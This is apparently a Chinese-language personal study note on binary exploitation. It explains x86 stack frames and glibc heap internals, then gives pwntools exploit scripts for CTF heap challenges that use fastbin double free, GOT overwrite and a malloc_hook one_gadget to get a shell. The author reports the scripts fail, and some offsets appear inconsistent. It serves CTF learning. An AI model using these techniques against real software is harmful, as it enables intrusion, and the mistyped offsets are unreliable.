pwn学习

一、 函数调用栈

32位程序:

寄存器介绍、寄存器使用约定、栈帧结构、函数调用在栈上的实现。

1、32位程序的寄存器:

4

其中有8个32位通用寄存器,其中包含4个数据寄存器(EAX、EBX、ECX、EDX)、2个变址寄存器(ESI和EDI)和2个指针寄存器(ESP和EBP);6个段寄存器(ES、CS、SS、DS、FS、GS);1个指令指针寄存器(EIP);1个标志寄存器(EFLAGS)。

我们重点关注数据寄存器、指针寄存器和指令指针寄存器。

数据寄存器用于保存操作数和运选结果等信息,所以在函数调用中用于保存函数的参数;而指针寄存器主要用于堆栈的访问,其中EBP基指针(Base Pointer)寄存器,ESP为堆栈指针(Stack Pointer)寄存器,关于他们的具体作用在之后会有所介绍;指令指针寄存器(EIP)用于存放下次将要执行指令的地址。

(1)、寄存器使用约定:

依照惯例,数据寄存器eax、edx、ecx为主调函数保存寄存器,用于保存主调函数的相关参数及运算数据。在函数调用的过程中,如果主调函数希望保存寄存器中的数值,就要在调用前将值保存在栈中,而后这些寄存器可以借给被调函数使用,在被调函数完成之后便可恢复寄存器的值;而寄存器ebx、esi、edi为被调函数保存寄存器,使用方法与上述类似。此外被调函数必须保持寄存器esp和ebp,并在函数返回后将其回复到调用前的值。具体过程将在后面有所提及。

(2)、栈帧结构

栈区:由高地址向低地址生长,在程序运行的时候用于保存函数调用信息和存放局部变量。

栈区在内存中的位置:

1

栈帧的定义:在堆栈中,函数占用的一段独立的连续区域,称为栈帧(Stack Frame).所以,栈帧是堆栈的逻辑片段。

栈帧作为堆栈的逻辑片段,那么其必然就有边界。栈帧的边界由EBP和ESP界定,EBP指向栈帧的高地址,我们称之为栈底,而ESP指向栈帧的低地址,我们称之为栈顶。ESP会随着数据的出入栈而移动,因此函数中对于大部分数据的访问都基于EBP进行,这个点与之后的学习密切相关。

2

上图中深色框框起来的部分就是一个栈帧。其中栈帧的具体结构由于参数与变量的不同而有所区别。

从图中可以看到,函数调用的入栈顺序为实参n~1、主调函数的帧基地址EBP、被调函数的局部变量……

所以可以根据上图给出函数调用栈的形成过程:主调函数按照调用约定依次入栈,然后将指令指针EIP入栈以保存主调函数的返回地址,也就是上图的返回地址处。而在进入被调函数时,被调函数将主调函数的帧基指针EBP入栈,并将主调函数的栈顶指针ESP值赋给被调函数的EBP(作为被调函数的栈底),接着改变ESP值来为函数局部变量预留空间。此时被调函数帧基指针指向被调函数的栈底。以该地址为基准,向上(栈底方向)可获取主调函数的返回地址、参数值,向下(栈顶方向)能获取被调函数的局部变量值,而该地址处又存放着上一层主调函数的帧基指针值。本级调用结束后,将EBP指针值赋给ESP,使ESP再次指向被调函数栈底以释放局部变量;再将已压栈的主调函数帧基指针弹出到EBP,并弹出返回地址到EIP。ESP继续上移越过参数,最终回到函数调用前的状态,即恢复原来主调函数的栈帧。如此递归便形成函数调用栈。

(3)函数调用在栈上的实现

上面已经给出了函数调用栈的形成构成,现在将根据具体的例子进一步讲解函数调用在栈上的实现。

void swap(int *a,int *b)
{
    int tmp;
    tmp = *a;
    *a = *b;
    *b = tmp;
}
int main()
{
    int c=1,d=2;
    swap(&c,&d);
    return 0;
}

有这样一段代码,它的功能是交换参数c和d的值,下面我们分析结合函数调用栈来分析这个程序函数调用过程。

​ 首先介绍一下函数调用过程中的主要指令:

入栈(push): 栈顶指针ESP减小4个字节(可理解为ESP向下移动);以字节为单位将寄存器数据压堆栈,从高到低按字节依次将数据存入ESP-1、ESP-2、ESP-3、ESP-4指向的地址单元。

出栈(pop): 栈顶指针ESP指向的栈中数据被取回到寄存器;栈顶指针ESP增加4个字节(理解为ESP向上移动)。

调用(call):将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。

离开(leave): 恢复主调函数的栈帧以准备返回。等价于指令序列mov %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和pop %ebp(恢复原ebp的值,即主调函数帧基指针)。

返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。

​ 结合以上代码,我们能够得到这样的过程:

1、 首先,main函数的栈帧中存有上一个函数的的返回地址和ebp,它自己的声明的局部变量存入栈中。

2、 main函数将swap函数所要求的参数&c, &d压入栈中,这里依照的调用约定是C调用约定,所以参数是从右往左压入。这里用到了汇编指令push &d , push &c,同时ESP向下移动。

3、 接着main函数调用call指令,call指令有两个步骤:把下一条指令的地址EIP压入栈中(push eip);跳转到swap 函数(jmp swap)。到这里调用者main的任务就基本完成了。

4、 接下来来到swap函数的栈帧,首先将main函数ebp值压入栈中(push ebp)接着将esp和ebp移动到该处(mov ebp, esp),这样两个指针就达到在一起时的状态了。

5、 接下来swap函数会根据情况开辟一定的栈空间,这一步是通过esp的移动来实现的,用汇编代码表示就是sub esp ,4。这里的意思时esp向下移动了4个字节的空间,用于存放声明的变量tmp 。

6、 之后swap函数形参a, *b 的访问是通过ebp的偏移量来访问的。因为形参的值对应的时main函数中的变量,所以这里a 就是ebp+8 ,*b 就是ebp+12 , tmp就是ebp-4。

7、 接下来,swap函数完成了自己的任务了,接下来应该是栈帧回复到初始状态。

8、 首先swap调用leave指令,指令分为两步:返回esp , ebp 指针(mov esp , ebp),esp回到栈底,ebp回到了之前main函数ebp保存的位置;将栈中存放的ebp值弹出(pop ebp),这时esp也向上移动4个字节。

9、 接着调用return指令,也就是将eip的值弹出(pop eip),将main函数下一条指令的地址存入eip中执行。

10、 接下来main函数就不需要&c ,&d参数了,esp向上移动8个字节(add esp ,8)。至此,main函数又回到了调用swap函数前的栈帧状态。

2、64位程序

64位程序的函数调用栈与32位的基本一致,但是64位程序相对于32位,增加了寄存器的数量,并且寄存器的名称也有所变化。

64位有16个寄存器,而且实在32位寄存器的基础上增加了8个,只不过前8个寄存器在命名上与32位有所区别,将首字母e改成了r(比如esp改为了rsp)。

在堆栈中,64位传递参数的方式也与32位有所区别,32位参数通过栈传递,而64位是通过寄存器(rdi、rsi、rdx、rcx、r8、r9)存放参数,只有在参数的数量为7或以上时,才将参数存放到栈中。所以这导致了32位函数栈帧的构建与64位有所区别,他们的具体体现在之后会有所提及。

二、缓冲区溢出

1、栈溢出攻击

2、堆溢出攻击

(1)堆概述

堆的定义:是程序虚拟地址空间的一块连续的线性区域。在程序运行的过程中,用于提供动态分配内存,并且允许程序申请大小未知的内存。堆在内存中的位置在之前的图片中有所出现。

堆的基本操作:堆的分配、回收、堆分配背后的系统调用。

其中,管理堆的那部分程序称为堆管理器,其位于用户程序与内核中间,其功能主要为:

1、 相应用户的申请内存请求,向操作系统申请内存,然后将其返回给用户程序。

2、 管理用户所释放的内存。

堆中的重要概念:

arena: arena包含一片或数片连续的内存,堆块将会从这片区域划分给用户。主线程的arena被称为main_arena。

allocated chunk: 用户正在使用的堆块。

free chunk: 释放的堆块。

bin: 由free chunk组成的链表。

堆内存管理简介:

linux使用ptmalloc2内存管理机制,该机制由用户显式调用malloc()函数申请内存,调用free()函数释放内存。

malloc malloc使用brk或mmap系统调用来从操作系统获取内存。

brk: brk通过增加程序中断位置(program_brk)从内核获取内存(非零初始化)。program—_break在堆未初始化时位于bss段的末尾。其移动通过brk()和sbrk()函数完成,从而实现堆的增长。

堆

最初,开始(start_brk)和堆段的结束(brk)将指向同一位置。根据是否开启ASLR,两者的位置会有所不同:不开启时,start_brk以及brk会指向data/bss段结尾;开启时,其位置在data/bss段结尾后的随机偏移处。

dui1

mmap()和unmmap():当用户申请内存过大时,ptamlloc2会选择通过mmap()函数创建匿名映射段供用户使用,并通过unmmap()函数回收。

(2)堆相关数据结构

微观结构:

malloc_chunk:

​ chunk是glibc管理内存的基本单位,整个堆在初始化后会被当成一个free chunk,称为top chunk。(这个chunk在分配内存时,从低地址开始分配,所以top chunk总位于高地址处)

用户请求内存时,若bins中没有合适的chunk,malloc就会从top chunk中进行划分,如果top chunk的大小还不够,则调用brk()扩展堆,从新生成的top chunk中划分。

而释放内存时,释放的chunk将与其他相邻的free chunk合并

chunk相关代码

request2size():申请chunk的大小。将请求的req转化为包含chunk头部(presize和size)的chunk大小。

chunk2mem()和mem2chunk():malloc()和free()执行时指针的相关操作。(chunk与user data)

chunk合并过程:当一个非fastbin的chunk被释放时,先向上后向下,如果向下合并的chunk时top chunk,则合并后形成新的top chunk;否则合并后加入unsorted chunk中。

chunk拆分过程:当用户申请的chunk较小时,会先将一个大的chunk进行拆分,合适的部分返回给用户,剩下的部分加入unsorted bin中,当然剩下的部分大小至少要是MINSIZE(默认为0x20)。

bin相关源码

fast bin相关:

某些chunk都是比较小的内存块,专门分割这样的空间有些浪费资源,为了提高堆的利用率,使用fast bin组织。

其对应的变量为fastbinsY,采用单向链表组织bin。

其中的chunk一般不会与其他chunk合并,因为fast bin范围内的chunk的inuse始终被置为1。但如果合并后的chunk大于FASTBIN_CONSOLIDATION_THRESHOLOD,chunk会与其他的free chunk结合。

malloc_consolidate函数:

该函数的目的是解决fast bin中大量内存碎片的问题。在达到某些条件时,glibc就会调用该函数将fast bin中的chunk取出来,与相邻的free chunk合并后放入unsorted bin,或者与top chunk合并后形成新的top chunk。

PREV_INUSE:如果前面一个chunk处于分配状态,那么此位为1。一般来说,堆中第一个被分配的内存块的 size 字段的 P 位都会被设置为 1,以便于防止访问前面的非法内存。当一个chunk 的size 的P位为0时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk之间的合并。

bins相关:

(1)一个bin相当于一个chunk链表,每个bin的头节点chunk形成bins数组。

(2)由于每个bin的头节点的prev_size与size字段没有实际作用(根据prev_size与size的作用),所以在存储头节点chunk时只需存储fd和bk即可。

(3)其中的prev_size和size字段被下一个bin利用,作为其fd与bk,从而节省空间。

(4)bin介绍:unsorted bin: chunk没有进行排序(chunk的大小);small bin:索引2到63的bin,两个相邻的chunk的大小相差字节数为两个机器字长(32位为8字节,64位为16字节);large bins: small bin之后的bins。

(5)任意两个物理相邻的空闲chunk不能在一起。

bin的结构:

fast bin:单向链表结构,采用LIFO(后进先出)的分配策略。

指针指向chunk的prev_size位置。

fastbinsY:

fast bin

unsorted bin:双链表结构,采用FIFO(先进先出)策略,当一个非fast chunk释放时,如果不与top chunk合并,则归入unsorted bin。

unsorted bin

宏观结构

arena:前面已经提到过了,需要注意的是:主线程的arena只有堆,子线程的arena可以有数片连续内存。(但并不是每个线程都会有对应的arena)。主线程的堆大小如果不够的话可以通过brk()调用来扩展,但是子线程分配的映射段大小固定,需要再次调用mmap()来分配新的内存。

heap_info:子线程arena的连续内存称为heap。每一个heap都有自己的heap header。heap_info便用于实现这样的功能。其中记录了当前堆的相关信息、上一个heap_info的地址等。

malloc_state:该结构用于管理堆,记录每个arena当前申请内存的具体状态(相当于arena_header,每个线程仅有一个)。

malloc源码

_libc_malloc():在glibc中实际上就是malloc()。

_int_malloc():是内存分配的核心函数,具有具体的分配顺序和内存整理时机。

free 源码

_libc_free():就是free()。

_int _free():判断、插入/合并。

(3)堆溢出

定义:向某个堆块中写入的字节数超过了堆块本身可使用的字节数,导致数据溢出并覆盖到像相邻的下一个堆块。需要注意的是,堆管理器会调整用户申请的堆的大小,使得可利用的空间不低于用户申请的空间。

堆溢出的攻击方向:

1、 覆盖下一个chunk的内容(物理相邻),改变程序固有的执行流。

2、 利用堆中的机制(如unlink),实现任意地址写入或控制堆块中的内容等,从而控制程序的执行流。

· 重要步骤:

寻找堆分配函数(malloc()、calloc()、realloc())。

寻找危险函数(get、scanf、vscanf、sprintf、strcpy、strcat、bcopy)

(重点)确定填充长度:

malloc()的参数并不等于实际堆块的大小,分配出来的大小一般是字长的两倍(32位为8字节,64位为16字节),所以对于不大于两倍字长的请求,malloc会直接返回最小的chunk(两倍字长)。

chunk在申请时,并不处于释放状态,所以其prev_size字段会作为另一个chunk的成员。所以假如req = 24,那么request2size(24) = 24+8=32(因为此时bk和fd都会成为用户使用空间的一部分,此时只需要设置size参数,所以为24+8)。这个是该函数计算出来的所需chunk的最小空间,去除头部的16个字节后,就来到了16字节,这时最终用户分配到的字节数。那么,还有8个字节去哪里找呢?其实用户还可以使用下一个chunk的prev_size字段,这样就刚好24个字节了。

当前一个chunk申请的数据空间对16取余后,如果多出来的大小小于等于8字节,那么这个多出来的大小就放入下一个chunk的prev_size。原chunk的size域大小不变;如果超过了,则不使用下一个chunk的prev_size。

chunk的实际大小=malloc的大小+chunk的前两个成员(为size域的内容)+下一个chunk的prev_size+chunk对齐规则。

malloc_usable_size函数,返回的是该chunk的数据段的大小,不包含头部,包含下一个chunk的prev_size部分,大小规律符合chunk的大小规则。

得到shell的大致方向:

未开启Full RELRO:

通过修改GOT表劫持程序的控制流。

got表中也是存放着函数的真实地址的,当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址,got表会存放执行过的函数的真实地址。

所以我们通过got表泄露函数的真实地址,再使用工具得到libc的版本(libc版本与偏移量有关,得到版本即能得到偏移量)。

之后利用 基地址 = 真实地址 偏移量 得到libc的基地址。

开启了Full RELRO:

劫持malloc hook函数,触发one_gadget得到shell。

malloc_hook攻击

(1)进程的_malloc_hook地制一定为0x7ffff7dd1b10,所以将该地址作为target。

(2)但是由于该地址的指定偏移处的size成员数值不能够满足glibc的检测,因此需要在_malloc_hook地址附近找一块合适的地址作为我们的攻击目标(该地址附近的数值都为0不符合要求)。

(3)通过尝试发现,0x7ffffdd1b10-0x23地址的指定8字节偏移处的数值能够满足glibc的检测,所以最终将其作为攻击目标,该地址的数值为0x7f,满足size要求。

故攻击过程为:构造出fake chunk之后,可向chunk中hook指针的位置写入one_gadget,此时执行malloc函数即可获取shell。

攻击类型:

Fastbin attack

fastbin机制:fastbin使用单链表维护释放的堆块,并且由fastbin管理的chunk即使被释放,其下一个chunk的prev_inuse位也不会清空。

漏洞利用:fastbin double free

free函数在释放fastbin时,只对main_arena指向的当前chunk进行检查,并且只指向bin的第一个chunk,容易导致double free。

double free的结果是bin的头部chunk的fd值不再为零,可指向下一个地址,通过修改fd的之后可将fastbin分配到任意位置。

double

辅助方法:

House Of Spirit(构造虚假的stack_chunk)

Alloc to Stack(劫持chunk指针到stack_chunk上)

Arbitrary Alloc(劫持chunk指针到去其他位置,比如到malloc_hook,改变该函数的内容,至于fake_chunk怎么找,看教程)。

例题1:2014 hack.lu oreo

题目地址:

未开启Full RELRO

exp:

#encoding=utf-8
from pwn import*

context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
if args['DEBUG']:
    context.log_level = 'debug'
context.binary = "./oreo"
oreo = ELF("./oreo")
p = process('./oreo')
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('./libc.so.6')

def add(descrip,name):
    p.sendline('1')
    p.sendline(name)
    p.sendline(descrip)

def show_rifle():
    p.sendline('2')

def order():
    p.sendline('3')

def message(notice):
    p.sendline('4')
    p.sendline(notice)

def exp():
    print 'step 1. leak libc base'
    #申请0x38,实际用户拿到的只有0x34,剩下的去precv_size拿。
    name = 27*'a' + p32(oreo.got['puts'])
    #利用堆溢出泄露got表地址从而得到libc_base
    #*((_DWORD *)i + 13的的含义是i+13*4,其中DWORD是强制类型转换为4字节
    #所以next_chunk位于chunk的最后4个字节
    #所以打印出next_chunk的地址也就是put函数的got表位置
    add(25*'a',name)
    show_rifle()
    p.recvuntil('Description: ')
    p.recvuntil('Description: ')
    puts_addr = u32(p.recvuntil('\n',drop=True)[:4])
    log.success('puts addr: '+ hex(puts_addr))
    libc_base = puts_addr - libc.symbols['puts']
    system_addr = libc_base + libc.symbols['system']
    binsh_addr = libc_base + next(libc.search('/bin/sh'))

    print 'step 2. free fake chunk at 0x0804A2A8'

    #伪造fake_chunk,首先需要size值,需要大小与0x38一致,所以值应为0x40
    #这里要循环0x40次
    #将next_chunk的值改变为0x804a2a8,作为fake_chunk的入口
    oifle = 1
    while oifle < 0x3f:
        add(25*'a','a'*27 + p32(0))
        oifle += 1
    payload = 'a'*27 + p32(0x804a2a8)
    add(25*'a',payload)
    #还需要伪造next_chunk的size值,这里设置为0x100(只要在范围内即可)
    #查看0x0804a2a8的内容,为2c0,说明是从2c0处开始填充的,所以要填充0x38-0x18 =0x20
    #在填充next_chunk的prev_size为0x40
    #还要使ISMMAP为不能为1,这里为了方便全部用'\x00’填充
    #最后要使当前chunk的next指向0,这样循环只会执行1次
    """payload = 0x20*'\x00' + p32(0x40) + p32(0x100)
    payload = payload.ljust(52,'b')
    payload += p32(0)
    payload =  payload.ljust(128,'c')
    message(payload)"""
    payload = '\x00'*0x20
    payload += p32(0x40)
    payload += p32(0x20)
    message(payload)
    #free()chunk块,得到我们能进行修改的chunk
    order()
    p.recvuntil('Okay order submitted!\n')

    print 'step 3. get shell'
    #修改got表为system地址
    payload = p32(oreo.got['strlen']).ljust(20,'a')
    #将strlen函数的got表地址写到0x804a2a8上
    add(payload,'b'*20)
    log.success('system addr: ' + hex(system_addr))
    #将该地址修改为system函数的地址
    message(p32(system_addr) + ';/bin/sh\x00')

    p.interactive()

if __name__=="__main__":
    exp()

但是本地打不通,不知道为什么。

例题2:2015 9447 CTF : Search Engine

题目地址

题目分析:

首先了解其结构体,有sentence结构和word结构。其中word结构字长0x30,分别有word_addr、word_len、sentence_addr、sentence_len、next_chunk。对于结构体的分析要结合代码和gdb调试进行。

漏洞一:索引句子读字符串时无NULL结尾。

write_check((__int64)v3, v2, 0);

索引句子调用了这个函数,该函数的第三个参数为0。

void __fastcall write_check(__int64 a1, int a2, int a3)
{
  int v3; // er14
  int v4; // ebx
  _BYTE *v5; // rbp
  int v6; // eax

  if ( a2 <= 0 )
  {
    v4 = 0;
  }
  else
  {
    v3 = a3;
    v4 = 0;
    while ( 1 )
    {
      v5 = (_BYTE *)(a1 + v4);
      v6 = fread((void *)(a1 + v4), 1uLL, 1uLL, stdin);
      if ( v6 <= 0 )
        break;
      if ( *v5 == 10 && v3 )
      {
        if ( v4 )
        {
          *v5 = 0;
          return;
        }
        v4 = v6 - 1;
        if ( a2 <= v6 - 1 )
          break;
      }
      else
      {
        v4 += v6;
        if ( a2 <= v4 )
          break;
      }
    }
  }
  if ( v4 != a2 )
    sub_400990("Not enough data");
}

结合该函数的内容可知,其在遇到回车作为结束符号时,永远不会将末位置NULL,所以在输出句子的时候容易leak出其他的数据。可以用于泄露lib基地址。在没有system函数的条件下这一步是必要的。(查找单词时并没有限制’\x00’)

此外程序存在着use after free漏洞,即指针可以重新利用,可以用来泄露libc值。

void Search_word()
{
  int v0; // ebp
  void *v1; // r12
  __int64 i; // rbx
  char v3; // [rsp+0h] [rbp-38h]

  puts("Enter the word size:");
  v0 = input();
  if ( (unsigned int)(v0 - 1) > 0xFFFD )
    sub_400990("Invalid size");
  puts("Enter the word:");
  v1 = malloc(v0);
  write_check((__int64)v1, v0, 0);
  for ( i = qword_6020B8; i; i = *(_QWORD *)(i + 32) )
  {
    if ( **(_BYTE **)(i + 16) )
    {
      if ( *(_DWORD *)(i + 8) == v0 && !memcmp(*(const void **)i, v1, v0) )
      {
        __printf_chk(1LL, "Found %d: ", *(unsigned int *)(i + 24));
        fwrite(*(const void **)(i + 16), 1uLL, *(signed int *)(i + 24), stdout);
        putchar(10);
        puts("Delete this sentence (y/n)?");
        write_check((__int64)&v3, 2, 1);
        if ( v3 == 121 )
        {
          memset(*(void **)(i + 16), 0, *(signed int *)(i + 24));
          free(*(void **)(i + 16));
          puts("Deleted!");
        }
      }
    }
  }
  free(v1);
}

要泄露libc值,首先要知道我们能够利用的输入函数和输出函数,可以知道大概率是要对Index_sentence函数开刀的。__printf_chk函数负责输出Sentence长度;fwrite函数则负责输出Sentence的内容。

思路一:在Index_sentence时输入一个标记字符和puts函数的got表地址,再通过fwrite函数将其输出。但是有个问题:我并不清楚puts函数的got表地址一共有多少个字符,并且输入的为字节流————我傻逼了,got表地址仅仅是一个地址,还需要指针指向该地址才行。

要注意的是,chunk在使用时只是一个可利用的存储空间,里面的内容可以实现多种功能,但是在释放后,它还是具有chunk该有的结构,指针的指向规则不变。

unsorted bin(看看之后把这个相关知识加到哪):

当我们free掉一个超过fastbin大小的chunk(0x20-0x80)时,其会被插入unsorted bin头部。若此时unsorted bin中仅有这一个chunk,并且该chunk的下一个块不是top_chunk,那么这个chunk的fd和bk指针均指向unsorted bin的起始地址。

使用上述特性,结合如下公式:

main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena(88)
libc_base = main_arena_addr - main_arena_offset(0x3c4b20)

即可得到libc地址。至于怎么得到各地址之间的偏移关系,之后再看看。

1、所以得到偏移的libc地址的步骤:申请unsort chunk、search第一次,free掉它,改变指针值、search第二次,打印出内容。

开启了RELRO,所以采用malloc_hook的方式拿shell。这需要我们构造fake_chunk。

2、首先构造fastbin循环链表:连续申请3个fast_chunk(注意与fake_chunk的大小一致)、按之前的思路,留一个标志位(相同,才能连续释放)、连续释放(由于释放后其在fastbin中,所以fd跟bk的值不为零,可以跳过验证,并且,释放跟生成的指针顺序是相反的)、释放b,构造循环链表。

根据代码可得循环链表的顺序为:arena_main->b->a->b->a。

3、构造fake_chunk:构造方法在上文。构造之后申请fd为fake_chunk的块,将fake_chunk加入fastbin;申请a、b chunk,这时候arena_main指向fake_chunk;最后一步:向fake_chunk中的malloc_hook位置上写上one_gadget(也是系统调用)就可以成功get shell。

#coding=utf-8 
from pwn import*
import pwnlib
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']
context(arch='i386',os='linux')

sh = process('./search')
#程序的main_arena到libc的基地址是固定的0x3c4b20
main_arena_offset = 0x3c4bb20
log.info('PID: ' + str(proc.pidof(sh)[0]))


def offset_bin_main_arena(idx):
    word_bytes = context.word_size / 8
    offset = 4
    offset += 4
    offset += word_bytes * 10  # offset fastbin
    offset += word_bytes * 2  # top,last_remainder
    offset += idx * 2 * word_bytes  # idx
    offset -= word_bytes * 2  # bin overlap
    return offset

#计算main_arena与unsortedbin的偏移量
unsortedbin_offset_main_arena = offset_bin_main_arena(0)

def index_sentence(s):
    sh.recvuntil("3: Quit\n")
    sh.sendline('2')
    sh.recvuntil('Enter the sentence size:\n')
    sh.sendline(str(len(s)))
    sh.send(s)

def search_word(word):
    sh.recvuntil("3: Quit\n")
    sh.sendline('1')
    sh.recvuntil("Enter the word size:\n")
    sh.sendline(str(len(word)))
    sh.send(word)

#获取libc地址
def leak_libc():
    #构造一个任意大小的smallbin,在free后会成为unsorted_bin
    #其后的'b'是标志位,用于找到句子,注意空格以区分单词
    smallbin_sentence = 'a'*0x85 + ' b '
    index_sentence(smallbin_sentence)
    search_word('b')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    #free掉chunk,使其fd指向unsortedbin_addr的位置
    #而因为单词chunk的句子的地址正是指向句子的fd,该值不为空,可绕过检查
    #标志位清零后也可通过'\x00'搜索
    search_word('\x00')
    #接受输出的unsortedbin_addr
    sh.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
    unsortedbin_addr = u64(sh.recv(8))
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('n')
    return unsortedbin_addr

def exp():
    #1、获取libc地址
    unsortedbin_addr = leak_libc()
    main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
    libc_base = main_arena_addr - main_arena_offset
    log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
    log.success('libc base addr: ' + hex(libc_base))

    #2、构造fastbin循环链表
    #因为malloc_hook附近的chunk大小一般为0x70(0x7F),所以malloc_hook作为内容的fake_chunk的size同样也需要0x70
    #因为fake_chunk的大小为0x70,所以循环链表中的chunk的size也必须大于0x60,小于等于0x70
    index_sentence('a'*0x5d + ' d ')
    index_sentence('b'*0x5d + ' d ')
    index_sentence('c'*0x5d + ' d ')


    #free第一次,因为值d是相同的,所以会一起free掉
    search_word('d')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')

    #free第二次,构造循环
    #由于chunk_c的指针值为零,所以没有通过验证
    search_word('\x00')
    #chunk_b
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('y')
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('n')
    #第一次创建的chunk
    sh.recvuntil('Delete this sentence (y/n)?\n')
    sh.sendline('n')

    #pwnlib.gdb.attach(proc.pidof(sh)[0],gdbscript="b main")
    #pause()


    #3、创建以malloc_hook地址为内容的fake_chunk
    fake_chunk_addr = main_arena_addr - 0x33
    print hex(fake_chunk_addr)

    #在这里填入的应该直接是fd的位置
    fake_chunk = p64(fake_chunk_addr).ljust(0x60,'f')
    #申请,使其中一个chunk_b的fd变为fake_chunk所在的地址
    #此时fake_chunk已经进入fastbin
    index_sentence(fake_chunk)
    index_sentence('a'*0x60)
    index_sentence('b'*0x60)
    #将a、b申请掉

    #后面的地址由工具得出,并不存在一致性
    one_gadget_addr = libc_base + 0xf02a4
    #fake_chunk的写入处与malloc_hook的偏移为0x13
    #0x23-0x10
    payload = 'a'*0x13 + p64(one_gadget_addr)
    payload = payload.ljust(0x60,'f')
    index_sentence(payload)

    sh.interactive()

if __name__=="__main__":
    exp()

艹,又打不通。

例题3:2017 0ctf babyheap

题目链接

开启Full RELRO(应该是unsorted bin寻址)

首先分析程序。

也是菜单类的程序,功能有建立空间(Allocate)、输入句子(Fill)、输出句子(Dump)、删除句子(free_chunk)、退出。

一个一个功能进行分析:

首先程序先执行这个函数:

char *sub_B70()
{
  int random_fd; // [rsp+4h] [rbp-3Ch]
  char *addr; // [rsp+8h] [rbp-38h]
  __int64 v3; // [rsp+10h] [rbp-30h]
  unsigned __int64 buf; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+28h] [rbp-18h]
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  alarm(0x3Cu);
  puts("===== Baby Heap in 2017 =====");
  #创建一个随机的指针
  random_fd = open("/dev/urandom", 0);
  #判断条件
  if ( random_fd < 0 || read(random_fd, &buf, 0x10uLL) != 16 )
    exit(-1);
  close(random_fd);
  addr = (char *)((buf
                 - 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
                 + 0x10000) & 0xFFFFFFFFFFFFF000LL);
  v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
  if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
  #返回一个指针,程序的后续内存是从这个指针开始拓展的
  return &addr[v3];
}

艹,看不懂,大概是初始化一个内存地址。

接下来是Allocate函数:

void __fastcall Allocate(__int64 a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]
  #for循环连续开辟空间,i代表的是索引值
  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_138C();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

该函数的作用就是以上一个函数的指针为开始,开辟一个存储空间,空间一共可以存储15个chunk,以索引的方式查找。

每调用一次这个函数,就分配出24个字节的内容,这里 i 应该是全局变量,分配出来的内存结构是:1 (1代表的应该是空间的可用状态)+ size + chunk_addr。

接下来是Fill函数:

__int64 __fastcall Fill(__int64 a1)
{
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  #这个函数没搞懂啊,反正输出结果肯定是索引值就对了。
  result = input__();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input__();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
        result = read_Sen(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
  }
  return result;
}

该函数的功能是根据索引找到该索引对应的内存空间,但是这个size是啥意思?之前不是输入过了吗?(哦,应该是输入句子的长度)这个size好像没对输入内容检查,有堆溢出漏洞。之后就是通过read_Sen函数跳转到chunk_addr所在的指针,写入句子的内容。

unsigned __int64 __fastcall read_Sen(__int64 a1, unsigned __int64 a2)
{
  unsigned __int64 v3; // [rsp+10h] [rbp-10h]
  ssize_t v4; // [rsp+18h] [rbp-8h]

  if ( !a2 )
    return 0LL;
  v3 = 0LL;
  while ( v3 < a2 )
  {
    v4 = read(0, (void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
    {
      v3 += v4;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      return v3;
    }
  }
  return v3;
}

接下来是Dump函数:

signed int __fastcall Dump(__int64 a1)
{
  signed int result; // eax
  signed int v2; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
